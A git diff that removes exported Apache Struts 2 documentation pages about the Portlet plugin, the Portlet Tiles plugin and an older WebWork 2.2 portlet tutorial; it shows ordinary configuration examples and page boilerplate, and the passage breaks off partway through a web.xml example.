-	xsi:schemaLocation="http://java.sun.com/xml/ns/portlet/portlet-app_2_0.xsd http://java.sun.com/xml/ns/portlet/portlet-app_2_0.xsd"&gt;
-
-    &lt;portlet id="MyPortlet"&gt;
-        &lt;description xml:lang="EN"&gt;My Portlet&lt;/description&gt;
-        &lt;portlet-name&gt;MyPortlet&lt;/portlet-name&gt;
-        &lt;display-name xml:lang="EN"&gt;my-portlet&lt;/display-name&gt;
-    
-        &lt;portlet-class&gt;org.apache.struts2.portlet.dispatcher.Jsr286Dispatcher&lt;/portlet-class&gt;
-        
-        &lt;!-- SNIP --&gt;
-
-    &lt;/portlet&gt;
-&lt;/portlet-app&gt;
-</pre>
-</div></div><h2 id="PortletPlugin-PortletInitParameters">Portlet Init Parameters</h2><p>Below is the init-param elements that you can set up in <em>portlet.xml</em> for configuring the portlet mode -&gt; xwork namespace mappings for the portlet. Basically, you can think of the different portlet modes as different sub-applications, so it can be useful to set up the <code>struts.xml</code> configuration with different namespaces for the different portlets and modes:</p><div class="table-wr [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;init-param&gt;
-    &lt;!-- Portlet namespace --&gt;
-    &lt;name&gt;portletNamespace&lt;/name&gt;
-    &lt;value&gt;/portletA&lt;/value&gt;
-&lt;/init-param&gt;
-&lt;init-param&gt;
-    &lt;!-- The base namespace of the view portlet mode --&gt;
-    &lt;name&gt;viewNamespace&lt;/name&gt;
-    &lt;value&gt;/view&lt;/value&gt;
-&lt;/init-param&gt;
-&lt;init-param&gt;
-    &lt;!-- The default action to invoke in view mode --&gt;
-    &lt;name&gt;defaultViewAction&lt;/name&gt;
-    &lt;value&gt;index&lt;/value&gt;
-&lt;/init-param&gt;
-</pre>
-</div></div><p>This snippet from <code>portlet.xml</code> will set up the portlet with a namespace of <em>/portletA/. This means that all requests to this portlet will get the namespace prepended when looking up the action. In addition, the _view</em> portlet mode will map to the <em>/view</em> namespace, so a request for action <code>myAction</code> will resolve to the namespace and action <em>/portletA/view/myAction</em>. It also means that if no action is requested, the default action [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;servlet id="Struts2PortletDispatcherServlet"&gt;
-    &lt;servlet-name&gt;Struts2PortletDispatcherServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.portlet.dispatcher.DispatcherServlet&lt;/servlet-class&gt;
-&lt;/servlet&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><strong>If you're only using Struts 2 tags, configuring the dispatcher servlet is optional</strong></p></div></div><h2 id="PortletPlugin-PortletPhases">Portlet Phases</h2><p>The portlet specification describes that a portlet request cycle can consist of  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="redirectAction" name="success"&gt;
-    &lt;param name="actionName"&gt;displayCart&lt;/param&gt;
-    &lt;param name="userId"&gt;${userId}&lt;/param&gt;  
-    &lt;!-- If you want to redirect to a different portlet mode, use the portletMode parameter 
-    &lt;param name="portletMode"&gt;view&lt;/param&gt;
-    --&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>This will set up a <em>render parameter</em> called <em>userId</em> with the value of the <em>userId</em> property on the value stack.</p><p>You can also use the <em>portletMode</em> parameter to change to a different portlet mode.</p><h2 id="PortletPlugin-s:urlands:formtags">s:url and s:form tags</h2><p>URLs in a portlet is handled quite different than for a regular web application. There's no such thing as "extension", there's simply an action name and a namespace, and t [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/portlet-tiles-plugin.html b/content/docs/portlet-tiles-plugin.html
deleted file mode 100644
index 34f4581..0000000
--- a/content/docs/portlet-tiles-plugin.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Portlet Tiles Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="portlet-tiles-plugin.html">Portlet Tiles Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Portlet Tiles Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30150178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30150178">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30150178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30150178">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30150178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30150178">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Tiles is a templating framework designed to easily allow the creation of web application pages with a consistent look and feel. It can be used for both page decorating and componentization.</p></div></div>
-
-<h2 id="PortletTilesPlugin-Features">Features</h2>
-
-<ul><li>Supports Tiles in Portlet environment</li></ul>
-
-
-<h2 id="PortletTilesPlugin-Usage">Usage</h2>
-
-<p>The following steps must be taken in order to enable tiles support within your Struts2 Portlet application:</p>
-<ol><li>Include the struts-portlet-tiles-plugin as a dependency in your web application.  If you are using maven2, the dependency configuration will be similar to:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-portlet-tiles-plugin&lt;/artifactId&gt;
-  &lt;version&gt;${struts2.version}&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div></li><li>All package definitions which require tiles support must either extend the struts-portlet-tiles-default package or must register the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Tiles+Result&amp;linkCreation=true&amp;fromPageId=30150178">Tiles Result</a> type definition dedicated for Portlets.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;result-types&gt;
-  &lt;result-type name="tiles" class="org.apache.struts2.views.tiles.PortletTilesResult"/&gt;
-&lt;/result-types&gt;
-</pre>
-</div></div></li><li>and dedicated action to support Tiles in portlet environment
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="tilesDirect" class="org.apache.struts2.portlet.dispatcher.DirectRenderFromEventAction"&gt;
-    &lt;result type="tiles" name="success"&gt;$\{location\}&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div></li><li>Configure your actions to utilize a tiles definition:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="sample" class="org.apache.struts2.tiles.example.SamplePortletAction" &gt;
-  &lt;result name="success" type="tiles"&gt;tilesWorks&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div></li></ol>
-
-
-<h2 id="PortletTilesPlugin-Installation">Installation</h2>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/portlet-tutorial-webwork-22.data/buildpath.jpg b/content/docs/portlet-tutorial-webwork-22.data/buildpath.jpg
deleted file mode 100644
index 6112ddb..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/buildpath.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/hello-world-form-1.jpg b/content/docs/portlet-tutorial-webwork-22.data/hello-world-form-1.jpg
deleted file mode 100644
index f5419af..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/hello-world-form-1.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/hello-world-result-1.jpg b/content/docs/portlet-tutorial-webwork-22.data/hello-world-result-1.jpg
deleted file mode 100644
index 70d4dcd..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/hello-world-result-1.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-frontpage.jpg b/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-frontpage.jpg
deleted file mode 100644
index 9dc7bee..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-frontpage.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-portlet-page.jpg b/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-portlet-page.jpg
deleted file mode 100644
index 8afba04..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/jboss-portal-portlet-page.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/new-project-1.jpg b/content/docs/portlet-tutorial-webwork-22.data/new-project-1.jpg
deleted file mode 100644
index 3684626..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/new-project-1.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/new-project-2.jpg b/content/docs/portlet-tutorial-webwork-22.data/new-project-2.jpg
deleted file mode 100644
index 3ad275d..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/new-project-2.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.data/project-structure-hello-world-1.jpg b/content/docs/portlet-tutorial-webwork-22.data/project-structure-hello-world-1.jpg
deleted file mode 100644
index ff64e5d..0000000
Binary files a/content/docs/portlet-tutorial-webwork-22.data/project-structure-hello-world-1.jpg and /dev/null differ
diff --git a/content/docs/portlet-tutorial-webwork-22.html b/content/docs/portlet-tutorial-webwork-22.html
deleted file mode 100644
index 0726aa5..0000000
--- a/content/docs/portlet-tutorial-webwork-22.html
+++ /dev/null
@@ -1,453 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Portlet Tutorial (WebWork 2.2)</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="portlet-tutorial-webwork-22.html">Portlet Tutorial (WebWork 2.2)</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Portlet Tutorial (WebWork 2.2)</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14047">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14047">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14047">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><strong>Check out the new updated <a shape="rect" href="struts-2-portlet-tutorial.html">Struts 2 Portlet Tutorial</a></strong></p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The Portlet support is experimental. Feedback is appreciated!</p></div></div>
-
-<h1 id="PortletTutorial(WebWork2.2)-Index">Index</h1>
-
-<ol><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Introduction</a></li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Installing Eclipse</a></li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Installing JBoss Portal 2.2</a></li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Creating the project</a></li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Classpath settings</a></li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-
-
-<h1 id="PortletTutorial(WebWork2.2)-Step-by-StepTutorial">Step-by-Step Tutorial</h1>
-
-
-<h2 id="PortletTutorial(WebWork2.2)-Introductionintro">Introduction <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-intro"></span></h2>
-
-<p>This tutorial walks you through the process of building a simple portlet application, using Eclipse, JBoss Portal 2.2 and the WebWork Portlet framework.</p>
-
-<h2 id="PortletTutorial(WebWork2.2)-InstallingEclipseinstall_eclipse">Installing Eclipse <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-install_eclipse"></span></h2>
-
-<p>In the tutorial, we will be using Eclipse 3.1.1 which can be downloaded from <a shape="rect" class="external-link" href="http://www.eclipse.org" rel="nofollow">http://www.eclipse.org</a></p>
-
-<h2 id="PortletTutorial(WebWork2.2)-InstallingJBossPortal2.2install_jboss">Installing JBoss Portal 2.2 <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-install_jboss"></span></h2>
-
-<p>JBoss Portal 2.2 can be found at <a shape="rect" class="external-link" href="http://www.jboss.com/products/jbossportal/downloads" rel="nofollow">http://www.jboss.com/products/jbossportal/downloads</a>.</p>
-
-<h2 id="PortletTutorial(WebWork2.2)-Creatingtheprojectcreate_project">Creating the project <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-create_project"></span></h2>
-
-<p>A Portlet application is basically packaged as a regular web application, but with an additional descriptor; portlet.xml. The first step of the tutorial is to create the project structure in eclipse. First, let's create the Java project itself using the new project wizard. We call the project 'MyPortlet'. Make sure to select the "Create separate source and output folders" radio button, and hit "next". In the next wizard step, set the output folder for the 'src' source folder to 'MyPor [...]
-
-<p><em>New project wizard</em></p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/new-project-1.jpg"></span></p>
-
-<p><em>New project wizard, cont</em></p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/new-project-2.jpg"></span></p>
-
-<h2 id="PortletTutorial(WebWork2.2)-Classpathsettingsclasspath">Classpath settings <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-classpath"></span></h2>
-
-<p>Before buliding the application itself, we need to add some required jar files to the build classpath and the WEB-INF/lib folder. Firstly, create the WEB-INF/lib folder and download the WebWork 2.2.1 distribution and unzip it to your local harddrive. Locate the jar files shown in the screenshot and and put them in the newly created WEB-INF/lib folder. Select all the jar files, and right click and select "Build Path -&gt; Add to Build Path". Now your local project should look similar t [...]
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="portlet-tutorial-webwork-22.data/buildpath.jpg"></span></p>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If there are jar files here that aren't included in the webwork distribution you have downloaded, you can safely assume that they are not needed.</p></div></div>
-
-<h2 id="PortletTutorial(WebWork2.2)-portlet.xmlportlet.xml">portlet.xml <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-portlet.xml"></span></h2>
-
-<p>Next thing we do is create a portlet.xml file in the WEB-INF folder. In this file, write the following:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>portlet.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;portlet-app version="1.0" xmlns="http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-xsi:schemaLocation="http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd http://java.sun.com/xml/ns/portlet/portlet-app_1_0.xsd"&gt;
-  &lt;portlet&gt;
-    &lt;description xml:lang="EN"&gt;My very first WebWork Portlet&lt;/description&gt;
-    &lt;portlet-name&gt;MyPortlet&lt;/portlet-name&gt;
-    &lt;display-name xml:lang="EN"&gt;My first WebWork Portlet&lt;/display-name&gt;
-
-    &lt;portlet-class&gt;com.opensymphony.webwork.portlet.dispatcher.Jsr168Dispatcher&lt;/portlet-class&gt;
-
-    &lt;init-param&gt;
-      &lt;!-- The view mode namespace. Maps to a namespace in the xwork config file --&gt;
-      &lt;name&gt;viewNamespace&lt;/name&gt;
-      &lt;value&gt;/view&lt;/value&gt;
-    &lt;/init-param&gt;
-    &lt;init-param&gt;
-      &lt;!-- The default action to invoke in view mode --&gt;
-      &lt;name&gt;defaultViewAction&lt;/name&gt;
-      &lt;value&gt;index&lt;/value&gt;
-    &lt;/init-param&gt;
-
-    &lt;expiration-cache&gt;0&lt;/expiration-cache&gt;
-
-    &lt;supports&gt;
-      &lt;mime-type&gt;text/html&lt;/mime-type&gt;
-    &lt;/supports&gt;
-
-    &lt;supported-locale&gt;en&lt;/supported-locale&gt;
-
-    &lt;portlet-info&gt;
-      &lt;title&gt;My very own WebWork Portlet&lt;/title&gt;
-      &lt;short-title&gt;WWPortlet&lt;/short-title&gt;
-      &lt;keywords&gt;webwork,portlet&lt;/keywords&gt;
-    &lt;/portlet-info&gt;
-  &lt;/portlet&gt;
-&lt;/portlet-app&gt;
-</pre>
-</div></div>
-<p>This portlet.xml file sets up the portlet using the <em>com.opensymphony.webwork.portlet.dispatcher.Jsr168Dispatcher</em> Portlet implementation. It also tells the Portlet that it will map the <em>view</em> portlet mode to a <em>/view</em> namespace in the XWork configuration, which we must remember when building our XWork actions. In addition, it tells the portlet that if it does not find an action parameter in the portlet request, the default action to invoke is the "index" action,  [...]
-should reside in the <em>/view</em> namespace in our xwork configuration.</p>
-
-<h2 id="PortletTutorial(WebWork2.2)-web.xmlweb.xml">web.xml <span class="confluence-anchor-link" id="PortletTutorial(WebWork2.2)-web.xml"></span></h2>
-
-<p>The WebWork Portlet support also requires you to include a web.xml descriptor that sets up some special servlets and filters needed to enable support for the WebWork tag libraries and template languages, since it relies on some of the interfaces and classes in the Servlet API. So create a web.xml file in the WEB-INF folder, and add the following:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"&gt;
-&lt;web-app&gt;
-	&lt;filter&gt;
-		&lt;filter-name&gt;webwork&lt;/filter-name&gt;
-		&lt;filter-class&gt;
-			com.opensymphony.webwork.dispatcher.FilterDispatcher
-		&lt;/filter-class&gt;
-	&lt;/filter&gt;
-
-	&lt;filter-mapping&gt;
-		&lt;filter-name&gt;webwork&lt;/filter-name&gt;
-		&lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-	&lt;/filter-mapping&gt;
-
-	&lt;listener&gt;
-		&lt;listener-class&gt;
-			com.opensymphony.webwork.portlet.context.ServletContextHolderListener
-		&lt;/listener-class&gt;
-	&lt;/listener&gt;
-
-
